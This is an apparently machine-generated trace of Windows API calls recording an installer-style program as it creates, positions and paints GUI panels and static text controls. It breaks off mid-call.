GetWindowLongA (hWnd=0x1034e, nIndex=-16) returned 1140851072 [0264.369] GetWindowLongA (hWnd=0x1034e, nIndex=-8) returned 131872 [0264.369] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f6e4 | out: lpPoint=0x18f6e4) returned 1 [0264.369] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f6ec | out: lpPoint=0x18f6ec) returned 1 [0264.369] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0264.369] SetPropA (hWnd=0x1034e, lpString=0xc167, hData=0x2c7448c) returned 1 [0264.369] SetPropA (hWnd=0x1034e, lpString=0xc168, hData=0x2c7448c) returned 1 [0264.369] SetWindowPos (hWnd=0x1034e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0264.370] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0x46, wParam=0x0, lParam=0x18f7a8) returned 0x0 [0264.370] IsIconic (hWnd=0x1034e) returned 0 [0264.370] GetWindowRect (in: hWnd=0x1034e, lpRect=0x18f574 | out: lpRect=0x18f574) returned 1 [0264.370] GetWindowLongA (hWnd=0x1034e, nIndex=-16) returned 1140851072 [0264.370] GetWindowLongA (hWnd=0x1034e, nIndex=-8) returned 131872 [0264.370] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f574 | out: lpPoint=0x18f574) returned 1 [0264.370] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f57c | out: lpPoint=0x18f57c) returned 1 [0264.370] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0x47, wParam=0x0, lParam=0x18f7a8) returned 0x0 [0264.370] SetWindowPos (hWnd=0x1034e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.370] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0x46, wParam=0x0, lParam=0x18f758) returned 0x0 [0264.370] IsIconic (hWnd=0x1034e) returned 0 [0264.370] GetWindowRect (in: hWnd=0x1034e, lpRect=0x18f524 | out: lpRect=0x18f524) returned 1 [0264.370] GetWindowLongA (hWnd=0x1034e, nIndex=-16) returned 1409286528 [0264.370] GetWindowLongA (hWnd=0x1034e, nIndex=-8) returned 131872 [0264.370] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f524 | out: lpPoint=0x18f524) returned 1 [0264.371] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f52c | out: lpPoint=0x18f52c) returned 1 [0264.371] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0x47, wParam=0x0, lParam=0x18f758) returned 0x0 [0264.371] SetWindowPos (hWnd=0x20320, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.371] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x46, wParam=0x0, lParam=0x18f774) returned 0x0 [0264.371] IsIconic (hWnd=0x20320) returned 0 [0264.371] GetWindowRect (in: hWnd=0x20320, lpRect=0x18f540 | out: lpRect=0x18f540) returned 1 [0264.371] GetWindowLongA (hWnd=0x20320, nIndex=-16) returned 1442840576 [0264.371] GetWindowLongA (hWnd=0x20320, nIndex=-8) returned 262968 [0264.371] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f540 | out: lpPoint=0x18f540) returned 1 [0264.371] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f548 | out: lpPoint=0x18f548) returned 1 [0264.371] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x47, wParam=0x0, lParam=0x18f774) returned 0x0 [0264.371] SetWindowPos (hWnd=0x40338, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.371] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x46, wParam=0x0, lParam=0x18f790) returned 0x0 [0264.372] IsIconic (hWnd=0x40338) returned 0 [0264.372] GetWindowRect (in: hWnd=0x40338, lpRect=0x18f55c | out: lpRect=0x18f55c) returned 1 [0264.372] GetWindowLongA (hWnd=0x40338, nIndex=-16) returned 1442840576 [0264.372] GetWindowLongA (hWnd=0x40338, nIndex=-8) returned 721256 [0264.372] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f55c | out: lpPoint=0x18f55c) returned 1 [0264.372] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f564 | out: lpPoint=0x18f564) returned 1 [0264.372] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x47, wParam=0x0, lParam=0x18f790) returned 0x0 [0264.372] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0264.372] GetClassInfoA (in: hInstance=0x400000, lpClassName="TPanel", lpWndClass=0x18f7f4 | out: lpWndClass=0x18f7f4) returned 0 [0264.372] RegisterClassA (lpWndClass=0x18f78c) returned 0x3bc1e6 [0264.372] CreateWindowExA (dwExStyle=0x0, lpClassName="TPanel", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=497, nHeight=58, hWndParent=0xb0168, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10350 [0264.372] SetWindowLongA (hWnd=0x10350, nIndex=-4, dwNewLong=2296942) returned 4274892 [0264.373] GetWindowLongA (hWnd=0x10350, nIndex=-16) returned 1174405120 [0264.373] GetWindowLongA (hWnd=0x10350, nIndex=-12) returned 0 [0264.373] SetWindowLongA (hWnd=0x10350, nIndex=-12, dwNewLong=66384) returned 0 [0264.373] SetPropA (hWnd=0x10350, lpString=0xc167, hData=0x2c8b1a4) returned 1 [0264.373] SetPropA (hWnd=0x10350, lpString=0xc168, hData=0x2c8b1a4) returned 1 [0264.373] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0x81, wParam=0x0, lParam=0x18f34c) returned 0x1 [0264.373] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0x83, wParam=0x0, lParam=0x18f338) returned 0x0 [0264.373] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0x1, wParam=0x0, lParam=0x18f34c) returned 0x0 [0264.373] IsIconic (hWnd=0x10350) returned 0 [0264.373] GetWindowRect (in: hWnd=0x10350, lpRect=0x18f140 | out: lpRect=0x18f140) returned 1 [0264.373] GetWindowLongA (hWnd=0x10350, nIndex=-16) returned 1174405120 [0264.373] GetWindowLongA (hWnd=0x10350, nIndex=-8) returned 721256 [0264.373] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f140 | out: lpPoint=0x18f140) returned 1 [0264.373] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f148 | out: lpPoint=0x18f148) returned 1 [0264.373] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0x5, wParam=0x0, lParam=0x3a01f1) returned 0x0 [0264.374] GetClientRect (in: hWnd=0x10350, lpRect=0x18f16c | out: lpRect=0x18f16c) returned 1 [0264.374] InflateRect (in: lprc=0x18f16c, dx=0, dy=0 | out: lprc=0x18f16c) returned 1 [0264.374] InvalidateRect (hWnd=0x10350, lpRect=0x0, bErase=0) returned 1 [0264.374] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0264.374] IsIconic (hWnd=0x10350) returned 0 [0264.374] GetWindowRect (in: hWnd=0x10350, lpRect=0x18f150 | out: lpRect=0x18f150) returned 1 [0264.374] GetWindowLongA (hWnd=0x10350, nIndex=-16) returned 1174405120 [0264.374] GetWindowLongA (hWnd=0x10350, nIndex=-8) returned 721256 [0264.374] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f150 | out: lpPoint=0x18f150) returned 1 [0264.374] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f158 | out: lpPoint=0x18f158) returned 1 [0264.374] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x18f174 | out: lpdwProcessId=0x18f174) returned 0x8cc [0264.374] GetCurrentProcessId () returned 0x8d0 [0264.374] GetPropA (hWnd=0x10350, lpString=0xc167) returned 0x2c8b1a4 [0264.374] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0xbe10, wParam=0x3500001, lParam=0x10350) returned 0x0 [0264.374] IsIconic (hWnd=0x10350) returned 0 [0264.374] GetWindowRect (in: hWnd=0x10350, lpRect=0x18f71c | out: lpRect=0x18f71c) returned 1 [0264.374] GetWindowLongA (hWnd=0x10350, nIndex=-16) returned 1174405120 [0264.374] GetWindowLongA (hWnd=0x10350, nIndex=-8) returned 721256 [0264.374] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f71c | out: lpPoint=0x18f71c) returned 1 [0264.374] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f724 | out: lpPoint=0x18f724) returned 1 [0264.374] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0264.374] SetPropA (hWnd=0x10350, lpString=0xc167, hData=0x2c8b1a4) returned 1 [0264.374] SetPropA (hWnd=0x10350, lpString=0xc168, hData=0x2c8b1a4) returned 1 [0264.374] SetWindowPos (hWnd=0x10350, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0264.375] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0x46, wParam=0x0, lParam=0x18f7e0) returned 0x0 [0264.375] IsIconic (hWnd=0x10350) returned 0 [0264.375] GetWindowRect (in: hWnd=0x10350, lpRect=0x18f5ac | out: lpRect=0x18f5ac) returned 1 [0264.375] GetWindowLongA (hWnd=0x10350, nIndex=-16) returned 1174405120 [0264.375] GetWindowLongA (hWnd=0x10350, nIndex=-8) returned 721256 [0264.375] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f5ac | out: lpPoint=0x18f5ac) returned 1 [0264.375] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f5b4 | out: lpPoint=0x18f5b4) returned 1 [0264.375] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0x47, wParam=0x0, lParam=0x18f7e0) returned 0x0 [0264.375] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0264.375] GetClassInfoA (in: hInstance=0x400000, lpClassName="STATIC", lpWndClass=0x18f770 | out: lpWndClass=0x18f770) returned 1 [0264.375] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewStaticText", lpWndClass=0x18f7d8 | out: lpWndClass=0x18f7d8) returned 1 [0264.375] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewStaticText", lpWindowName="", dwStyle=0x44000180, X=40, Y=26, nWidth=389, nHeight=29, hWndParent=0x10350, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10352 [0264.376] SetWindowLongA (hWnd=0x10352, nIndex=-4, dwNewLong=2296929) returned 4274892 [0264.376] GetWindowLongA (hWnd=0x10352, nIndex=-16) returned 1140851072 [0264.376] GetWindowLongA (hWnd=0x10352, nIndex=-12) returned 0 [0264.376] SetWindowLongA (hWnd=0x10352, nIndex=-12, dwNewLong=66386) returned 0 [0264.376] SetPropA (hWnd=0x10352, lpString=0xc167, hData=0x2c8b4cc) returned 1 [0264.376] SetPropA (hWnd=0x10352, lpString=0xc168, hData=0x2c8b4cc) returned 1 [0264.376] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0x81, wParam=0x0, lParam=0x18f330) returned 0x1 [0264.376] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0x83, wParam=0x0, lParam=0x18f31c) returned 0x0 [0264.376] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0x1, wParam=0x0, lParam=0x18f330) returned 0x0 [0264.376] IsIconic (hWnd=0x10352) returned 0 [0264.377] GetWindowRect (in: hWnd=0x10352, lpRect=0x18f130 | out: lpRect=0x18f130) returned 1 [0264.377] GetWindowLongA (hWnd=0x10352, nIndex=-16) returned 1140851072 [0264.377] GetWindowLongA (hWnd=0x10352, nIndex=-8) returned 66384 [0264.377] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f130 | out: lpPoint=0x18f130) returned 1 [0264.377] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f138 | out: lpPoint=0x18f138) returned 1 [0264.377] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0x5, wParam=0x0, lParam=0x1d0185) returned 0x0 [0264.377] GetClientRect (in: hWnd=0x10352, lpRect=0x18f15c | out: lpRect=0x18f15c) returned 1 [0264.377] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0x3, wParam=0x0, lParam=0x1a0028) returned 0x0 [0264.377] IsIconic (hWnd=0x10352) returned 0 [0264.377] GetWindowRect (in: hWnd=0x10352, lpRect=0x18f134 | out: lpRect=0x18f134) returned 1 [0264.377] GetWindowLongA (hWnd=0x10352, nIndex=-16) returned 1140851072 [0264.377] GetWindowLongA (hWnd=0x10352, nIndex=-8) returned 66384 [0264.377] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f134 | out: lpPoint=0x18f134) returned 1 [0264.377] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f13c | out: lpPoint=0x18f13c) returned 1 [0264.377] GetWindowThreadProcessId (in: hWnd=0x10352, lpdwProcessId=0x18f158 | out: lpdwProcessId=0x18f158) returned 0x8cc [0264.377] GetCurrentProcessId () returned 0x8d0 [0264.377] GetPropA (hWnd=0x10352, lpString=0xc167) returned 0x2c8b4cc [0264.377] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xbe10, wParam=0x3520001, lParam=0x10352) returned 0x0 [0264.377] IsIconic (hWnd=0x10352) returned 0 [0264.377] GetWindowRect (in: hWnd=0x10352, lpRect=0x18f700 | out: lpRect=0x18f700) returned 1 [0264.377] GetWindowLongA (hWnd=0x10352, nIndex=-16) returned 1140851072 [0264.377] GetWindowLongA (hWnd=0x10352, nIndex=-8) returned 66384 [0264.377] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f700 | out: lpPoint=0x18f700) returned 1 [0264.377] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f708 | out: lpPoint=0x18f708) returned 1 [0264.377] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0264.377] SetPropA (hWnd=0x10352, lpString=0xc167, hData=0x2c8b4cc) returned 1 [0264.377] SetPropA (hWnd=0x10352, lpString=0xc168, hData=0x2c8b4cc) returned 1 [0264.377] SetWindowPos (hWnd=0x10352, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0264.378] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0x46, wParam=0x0, lParam=0x18f7c4) returned 0x0 [0264.378] SetWindowPos (hWnd=0x10352, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.378] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0x46, wParam=0x0, lParam=0x18f774) returned 0x0 [0264.378] IsIconic (hWnd=0x10352) returned 0 [0264.378] GetWindowRect (in: hWnd=0x10352, lpRect=0x18f540 | out: lpRect=0x18f540) returned 1 [0264.378] GetWindowLongA (hWnd=0x10352, nIndex=-16) returned 1409286528 [0264.378] GetWindowLongA (hWnd=0x10352, nIndex=-8) returned 66384 [0264.378] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f540 | out: lpPoint=0x18f540) returned 1 [0264.378] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f548 | out: lpPoint=0x18f548) returned 1 [0264.378] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0x47, wParam=0x0, lParam=0x18f774) returned 0x0 [0264.378] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0264.378] GetClassInfoA (in: hInstance=0x400000, lpClassName="STATIC", lpWndClass=0x18f770 | out: lpWndClass=0x18f770) returned 1 [0264.378] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewStaticText", lpWndClass=0x18f7d8 | out: lpWndClass=0x18f7d8) returned 1 [0264.378] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewStaticText", lpWindowName="", dwStyle=0x4400018c, X=24, Y=10, nWidth=405, nHeight=14, hWndParent=0x10350, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10354 [0264.379] SetWindowLongA (hWnd=0x10354, nIndex=-4, dwNewLong=2296916) returned 4274892 [0264.379] GetWindowLongA (hWnd=0x10354, nIndex=-16) returned 1140851084 [0264.379] GetWindowLongA (hWnd=0x10354, nIndex=-12) returned 0 [0264.379] SetWindowLongA (hWnd=0x10354, nIndex=-12, dwNewLong=66388) returned 0 [0264.379] SetPropA (hWnd=0x10354, lpString=0xc167, hData=0x2c8b67c) returned 1 [0264.379] SetPropA (hWnd=0x10354, lpString=0xc168, hData=0x2c8b67c) returned 1 [0264.379] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0x81, wParam=0x0, lParam=0x18f330) returned 0x1 [0264.379] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0x83, wParam=0x0, lParam=0x18f31c) returned 0x0 [0264.379] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0x1, wParam=0x0, lParam=0x18f330) returned 0x0 [0264.380] IsIconic (hWnd=0x10354) returned 0 [0264.380] GetWindowRect (in: hWnd=0x10354, lpRect=0x18f130 | out: lpRect=0x18f130) returned 1 [0264.380] GetWindowLongA (hWnd=0x10354, nIndex=-16) returned 1140851084 [0264.380] GetWindowLongA (hWnd=0x10354, nIndex=-8) returned 66384 [0264.380] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f130 | out: lpPoint=0x18f130) returned 1 [0264.380] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f138 | out: lpPoint=0x18f138) returned 1 [0264.380] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0x5, wParam=0x0, lParam=0xe0195) returned 0x0 [0264.380] GetClientRect (in: hWnd=0x10354, lpRect=0x18f15c | out: lpRect=0x18f15c) returned 1 [0264.380] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0x3, wParam=0x0, lParam=0xa0018) returned 0x0 [0264.380] IsIconic (hWnd=0x10354) returned 0 [0264.380] GetWindowRect (in: hWnd=0x10354, lpRect=0x18f134 | out: lpRect=0x18f134) returned 1 [0264.380] GetWindowLongA (hWnd=0x10354, nIndex=-16) returned 1140851084 [0264.380] GetWindowLongA (hWnd=0x10354, nIndex=-8) returned 66384 [0264.380] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f134 | out: lpPoint=0x18f134) returned 1 [0264.380] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f13c | out: lpPoint=0x18f13c) returned 1 [0264.380] GetWindowThreadProcessId (in: hWnd=0x10354, lpdwProcessId=0x18f158 | out: lpdwProcessId=0x18f158) returned 0x8cc [0264.380] GetCurrentProcessId () returned 0x8d0 [0264.380] GetPropA (hWnd=0x10354, lpString=0xc167) returned 0x2c8b67c [0264.380] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xbe10, wParam=0x3540001, lParam=0x10354) returned 0x0 [0264.380] IsIconic (hWnd=0x10354) returned 0 [0264.380] GetWindowRect (in: hWnd=0x10354, lpRect=0x18f700 | out: lpRect=0x18f700) returned 1 [0264.380] GetWindowLongA (hWnd=0x10354, nIndex=-16) returned 1140851084 [0264.380] GetWindowLongA (hWnd=0x10354, nIndex=-8) returned 66384 [0264.380] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f700 | out: lpPoint=0x18f700) returned 1 [0264.380] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f708 | out: lpPoint=0x18f708) returned 1 [0264.380] CreateFontIndirectA (lplf=0x18f704) returned 0x50a0b6b [0264.380] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0x30, wParam=0x50a0b6b, lParam=0x1) returned 0x0 [0264.380] SetPropA (hWnd=0x10354, lpString=0xc167, hData=0x2c8b67c) returned 1 [0264.381] SetPropA (hWnd=0x10354, lpString=0xc168, hData=0x2c8b67c) returned 1 [0264.381] SetWindowPos (hWnd=0x10354, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0264.381] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0x46, wParam=0x0, lParam=0x18f7c4) returned 0x0 [0264.381] IsIconic (hWnd=0x10354) returned 0 [0264.381] GetWindowRect (in: hWnd=0x10354, lpRect=0x18f590 | out: lpRect=0x18f590) returned 1 [0264.381] GetWindowLongA (hWnd=0x10354, nIndex=-16) returned 1140851084 [0264.381] GetWindowLongA (hWnd=0x10354, nIndex=-8) returned 66384 [0264.381] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f590 | out: lpPoint=0x18f590) returned 1 [0264.381] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f598 | out: lpPoint=0x18f598) returned 1 [0264.381] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0x47, wParam=0x0, lParam=0x18f7c4) returned 0x0 [0264.381] SetWindowPos (hWnd=0x10354, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.381] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0x46, wParam=0x0, lParam=0x18f774) returned 0x0 [0264.381] IsIconic (hWnd=0x10354) returned 0 [0264.381] GetWindowRect (in: hWnd=0x10354, lpRect=0x18f540 | out: lpRect=0x18f540) returned 1 [0264.381] GetWindowLongA (hWnd=0x10354, nIndex=-16) returned 1409286540 [0264.382] GetWindowLongA (hWnd=0x10354, nIndex=-8) returned 66384 [0264.382] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f540 | out: lpPoint=0x18f540) returned 1 [0264.382] ScreenToClient (in: hWnd=0x10350, lpPoint=0x18f548 | out: lpPoint=0x18f548) returned 1 [0264.382] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0x47, wParam=0x0, lParam=0x18f774) returned 0x0 [0264.382] SetWindowPos (hWnd=0x10350, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.382] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0x46, wParam=0x0, lParam=0x18f790) returned 0x0 [0264.382] IsIconic (hWnd=0x10350) returned 0 [0264.382] GetWindowRect (in: hWnd=0x10350, lpRect=0x18f55c | out: lpRect=0x18f55c) returned 1 [0264.382] GetWindowLongA (hWnd=0x10350, nIndex=-16) returned 1442840576 [0264.382] GetWindowLongA (hWnd=0x10350, nIndex=-8) returned 721256 [0264.382] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f55c | out: lpPoint=0x18f55c) returned 1 [0264.382] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f564 | out: lpPoint=0x18f564) returned 1 [0264.382] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0x47, wParam=0x0, lParam=0x18f790) returned 0x0 [0264.382] SetWindowPos (hWnd=0xb0168, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.382] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x46, wParam=0x0, lParam=0x18f7ac) returned 0x0 [0264.383] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.383] GetClientRect (in: hWnd=0xb0168, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0264.383] FillRect (hDC=0x1b0106ca, lprc=0x18f5d4, hbr=0xe100186) returned 1 [0264.383] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10350, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.384] GetClientRect (in: hWnd=0x10350, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0264.384] FillRect (hDC=0x2a010b57, lprc=0x18f5d4, hbr=0x2f100178) returned 1 [0264.384] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.384] GetClientRect (in: hWnd=0x10354, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0264.384] FillRect (hDC=0x1f01019b, lprc=0x18f5d4, hbr=0x2f100178) returned 1 [0264.384] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.385] GetClientRect (in: hWnd=0x10352, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0264.385] FillRect (hDC=0x1b0106ca, lprc=0x18f5d4, hbr=0x2f100178) returned 1 [0264.385] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.385] GetClientRect (in: hWnd=0x40338, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0264.385] FillRect (hDC=0x2a010b57, lprc=0x18f5d4, hbr=0xe100186) returned 1 [0264.385] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.386] GetClientRect (in: hWnd=0x20320, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0264.386] FillRect (hDC=0x1f01019b, lprc=0x18f5d4, hbr=0xe100186) returned 1 [0264.386] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.386] GetClientRect (in: hWnd=0x1034e, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0264.386] FillRect (hDC=0x1b0106ca, lprc=0x18f5d4, hbr=0xe100186) returned 1 [0264.386] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.387] GetClientRect (in: hWnd=0x20322, lpRect=0x18f5d4 | out: lpRect=0x18f5d4) returned 1 [0264.387] FillRect (hDC=0x2a010b57, lprc=0x18f5d4, hbr=0x2f100178) returned 1 [0264.387] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.387] GetClientRect (in: hWnd=0x1034c, lpRect=0x18f5c8 | out: lpRect=0x18f5c8) returned 1 [0264.387] FillRect (hDC=0x1f01019b, lprc=0x18f5c8, hbr=0xe100186) returned 1 [0264.387] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.388] GetClientRect (in: hWnd=0x1034a, lpRect=0x18f5c8 | out: lpRect=0x18f5c8) returned 1 [0264.388] FillRect (hDC=0x1b0106ca, lprc=0x18f5c8, hbr=0xe100186) returned 1 [0264.388] IsIconic (hWnd=0xb0168) returned 0 [0264.388] GetWindowRect (in: hWnd=0xb0168, lpRect=0x18f578 | out: lpRect=0x18f578) returned 1 [0264.388] GetWindowLongA (hWnd=0xb0168, nIndex=-16) returned 1442840576 [0264.388] GetWindowLongA (hWnd=0xb0168, nIndex=-8) returned 393296 [0264.388] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f578 | out: lpPoint=0x18f578) returned 1 [0264.388] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f580 | out: lpPoint=0x18f580) returned 1 [0264.388] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x47, wParam=0x0, lParam=0x18f7ac) returned 0x0 [0264.388] GetClientRect (in: hWnd=0x60050, lpRect=0x18f8ac | out: lpRect=0x18f8ac) returned 1 [0264.388] IsRectEmpty (lprc=0x18f8ac) returned 0 [0264.388] IsRectEmpty (lprc=0x18f8ac) returned 0 [0264.388] IsRectEmpty (lprc=0x18f8ac) returned 0 [0264.388] SetWindowPos (hWnd=0x10342, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x97) returned 1 [0264.388] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x46, wParam=0x0, lParam=0x18f7ac) returned 0x0 [0264.389] IsIconic (hWnd=0x10342) returned 0 [0264.389] GetWindowRect (in: hWnd=0x10342, lpRect=0x18f578 | out: lpRect=0x18f578) returned 1 [0264.389] GetWindowLongA (hWnd=0x10342, nIndex=-16) returned 1174405120 [0264.389] GetWindowLongA (hWnd=0x10342, nIndex=-8) returned 393296 [0264.394] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f578 | out: lpPoint=0x18f578) returned 1 [0264.394] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f580 | out: lpPoint=0x18f580) returned 1 [0264.394] CallWindowProcA (lpPrevWndFunc=0x405e1c, 